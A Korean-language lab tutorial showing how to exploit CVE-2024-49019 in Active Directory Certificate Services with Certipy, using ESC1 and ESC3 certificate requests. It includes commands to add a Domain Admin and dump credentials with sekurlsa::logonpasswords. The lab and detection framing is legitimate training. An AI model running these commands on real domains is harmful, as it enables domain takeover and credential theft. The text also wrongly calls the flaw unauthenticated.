
CVE-2024-49019 악용
CVE-2024-49019는 AD(Active Directory) 인증서 서비스(AD CS)의 취약점으로, 공격자가 인증서 기반 인증을 악용하여 권한을 상승시킬 수 있습니다. 이 가이드는 Certipy를 사용하여 이 취약점을 악용하는 방법을 보여줍니다.
| Virtual Machine | Username | Password |
|---|---|---|
| Windows Server 2022 | Administrator | !@windowsadmintest101 |
| Windows Server 2022 | testuser | $Vulnerable139 |
| Kali-VM | vagrant | vagrant |
| Ubuntu-Wazuh | wazuh | admin |
Ubuntu-Wazuh VM은 탐지 목적으로 사용됩니다. 탐지 가이드 완화 조치
먼저 필요한 파일이 포함된 리포지토리를 복제합니다:
git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng
계속하기 전에 호스트 머신에 Vagrant를 설치해야 합니다.
여기에서 Vagrant를 다운로드하여 설치하거나 PowerShell을 사용하여 설치합니다:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
cd windows-server2022
vagrant up
cd kali-VM
vagrant up
cd WazuhUbuntu
vagrant up
이 악용에는 NAT 네트워크가 필요하므로 VirtualBox를 다음과 같이 구성합니다:
아래 명령을 실행하기 전에 VBoxManage가 환경 변수에 추가되어 있는지 확인하세요. 그렇지 않은 경우 전체 경로를 사용하여 명령을 실행하세요:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage가 인식되지 않으면 다음을 사용하세요:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VirtualBox에서 모든 VM을 확인하고 네트워크 어댑터 NatNetwork - NatNet1에 할당되었는지 확인하세요. 다른 이름으로 NAT 네트워크를 만들 수 있지만 IP 범위는 10.0.2.0/24여야 합니다.
계속하기 전에 모든 VM이 켜져 있는지 확인하세요.
공격을 시작하려면 Kali Linux VM에 접속하여 /etc/hosts 파일을 업데이트하세요:
sudo nano /etc/hosts
다음 항목을 추가하세요:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
저장하고 종료합니다.
CVE-49019 디렉터리로 이동하여 Python 가상 환경을 활성화합니다:
cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate
이 취약점을 악용하는 방법에는 ESC1과 ESC3 두 가지가 있습니다.
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
add_user badadmin
add_user_to_group badadmin "Domain Admins"
certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout
certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121
certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121
certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121
해결 방법이 있습니다. 호스트 머신의 시간이 Windows Server 자체와 동일한지 확인하세요. Kali-Linux VM을 Windows Server와 동일하게 업데이트하려면 다음 명령을 실행하세요.
sudo timedatectl set-ntp off
sudo rdate -n 10.0.2.121
w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121
관리자 수준의 액세스 권한을 얻으면 공격자는 다음을 수행할 수 있습니다:
net user hacked /add
net localgroup "Administrators" hacked /add
sekurlsa::logonpasswords
탐지 및 완화 전략에 대해서는 탐지 가이드를 참조하세요.
CVE-2024-49019는 인증되지 않은 권한 상승을 허용할 수 있으므로 심각한 보안 위험을 초래합니다. 이 취약점을 이해하고 Wazuh 사용과 같은 적절한 탐지 메커니즘을 구축하는 것은 Active Directory 환경을 보호하는 데 중요합니다.
AD CS 보안에 대한 자세한 내용은 Microsoft 보안 CVE-2024-49019를 참조하세요.